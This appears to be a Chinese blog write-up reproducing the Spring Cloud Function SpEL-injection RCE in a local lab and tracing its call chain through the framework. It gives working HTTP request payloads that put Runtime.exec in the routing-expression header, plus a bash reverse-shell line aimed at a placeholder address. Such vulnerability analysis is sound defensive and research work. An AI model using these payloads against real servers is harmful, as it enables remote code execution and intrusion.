简介
Spring Cloud功能特点
![image-20220403143623101](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220403143623101.png)
影响版本
3.0.0.M3 <= Spring Cloud Function <=3.2.2
漏洞复现
环境搭建
选择版本为V3.1.6
根据Tags的更新时间选择,还是选择3.1.6比较稳妥,使用IDEA导入项目
![image-20220401212613169](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220401212613169.png)
jar包的下载确实很慢,真是麻了。实际上不用下载那么多jar包,确实用不到,导入项目于spring-cloud-function-3.1.6spring-cloud-function-3.1.6spring-cloud-function-samplesfunction-sample-pojo修改配置文件spring-cloud-function-3.1.6spring-cloud-function-3.1.6spring-cloud-function-samplesfunction-sample-pojosrcmainresourcesappliaction.properties添加
spring.cloud.function.definition:functionRouter
![image-20220402110243791](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220402110243791.png)
配置maven启动项目
![image-20220402110326017](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220402110326017.png)
![image-20220402110354865](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220402110354865.png)
http://127.0.0.1:8080
![image-20220402110436556](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220402110436556.png)
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利用
构造payload
POST /Ggoodstudy HTTP/1.1Host: 127.0.0.1:8080spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(“calc.exe”)Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Length: 4gdsf
![image-20220403144205124](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220403144205124.png)
这不就吐了么,修改配置文件才能RCE????
![image-20220403205706193](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220403205706193.png)
但是修改路由,当路由指定为functionRouter的时候,不修改配置文件已经可以执行恶意payload
POST /functionRouter HTTP/1.1Host: 127.0.0.1:8080spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(“calc.exe”)Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Length: 14dfdfijkghjkg
![image-20220402105622478](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220402105622478.png)
POST请求且必须传参。
反弹shell
bash -i >& /dev/tvp/xx.xxx.xx.xx/port 0>&1
进行base64编码,由于这里我使用的是windows环境,所以无法使用反弹shell,具体需要对反弹shell命令进行编码的原因在分析CVE-2018-1270的时候已经分析过了。
![image-20220403205921339](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220403205921339.png)
漏洞分析
首先我们需要了解到spring框架中比较常见的几个jar包
- spring-beans所有应用都要用到的,它包含访问配置文件、创建和管理bean 以及进行Inversion of Control / Dependency Injection(IoC/DI)操作相关的所有类。
- spring-Expression进行SpEL表达式解析
- spring-coreSpring 框架基本的核心工具类。Spring 其它组件要都要使用到这个包里的类,是其它组件的基本核心
- spring-jdbc存放对jdbc数据库数据访问所有相关的类
- spring-messaging
api以及协议接口
- spring-context为Spring核心提供了大量扩展。可以找到使用Spring ApplicationContext特性时所需的全部类等
- spring-web包含Web 应用开发时,用到Spring 框架时所需的核心类,包括自动载入Web Application Context 特性的类、Struts 与JSF 集成类、文件上传的支持类、Filter 类和大量工具辅助类。
- pring-webmvc包含Spring MVC 框架相关的所有类。包括框架的Servlets,Web MVC框架,控制器和视图支持。
向上查找利用链
SpEL表达式的内容是在spring-expression中处理的,在RoutingFunction类中调用
![image-20220403135602783](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220403135602783.png)
这里会取出spring.cloud.function.routing-expression:属性的spel表达式
![image-20220402125700409](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220402125700409.png)
这个方法属于布尔型的判断,这里的属性构造在请求头内,调用了apply方法
![image-20220402131335916](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220402131335916.png)
继续向上分析
![image-20220403232506444](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220403232506444.png)
到达SimpleFunctionRegistry.java类的698行,这个apply的方法的触发时
![image-20220403232638460](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220403232638460.png)
是在646行定义的,且调用方法doapply,而doapply也在apply方法中调用了,在往上查找就到了FunctionWebRequestProcessingHelper类的processRequest方法
![image-20220403232852540](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220403232852540.png)
继续向上查找,到了控制层了,到此为止我们的向上查找已经结束,利用链很强清晰,那么对不对呢,我们使用向下查找利用链来做验证,请看下文
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调用FunctionWebRequestProcessingHelper类中的http请求参数方法processRequest
![image-20220403224410232](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220403224410232.png)
可以看到processRequest方法会获取到我们构造payload的方法,在方法为RoutingFunction的情况下会直接调用RoutingFunction类中的applay方法
![image-20220403230139777](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220403230139777.png)
此时我们可以看到这里调用了Route方法
![image-20220403230252876](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220403230252876.png)
而在该方法中会读取构造的请求头spring.cloud.function.routing-expression属性的值,调用了方法functionFormExpression,但是在该方法中的parseExpression方法会对SpEL表达式进行解析
![image-20220403231034277](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220403231034277.png)
![image-20220403231137695](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220403231137695.png)
那么我们在调试的过程中
![image-20220403231320620](Spring Cloud Function SpEL表达式RCE漏洞复现分析.assets/image-20220403231320620-16489988015211.png)
getValue方法执行的又是什么呢?
这里自然是执行的传入的paylaod的内容以及执行解析后的表达式
到这里我们能够发现两条链刚好是对称的,说明分析没有问题。
总结
分析了spring-cloud-function可以发现,spring框架的几个由SpEL表达式注入造成的RCE的触发点基本上都很相似,触发类以及触发路由分析对于漏洞挖掘来说都有可以借鉴的地方。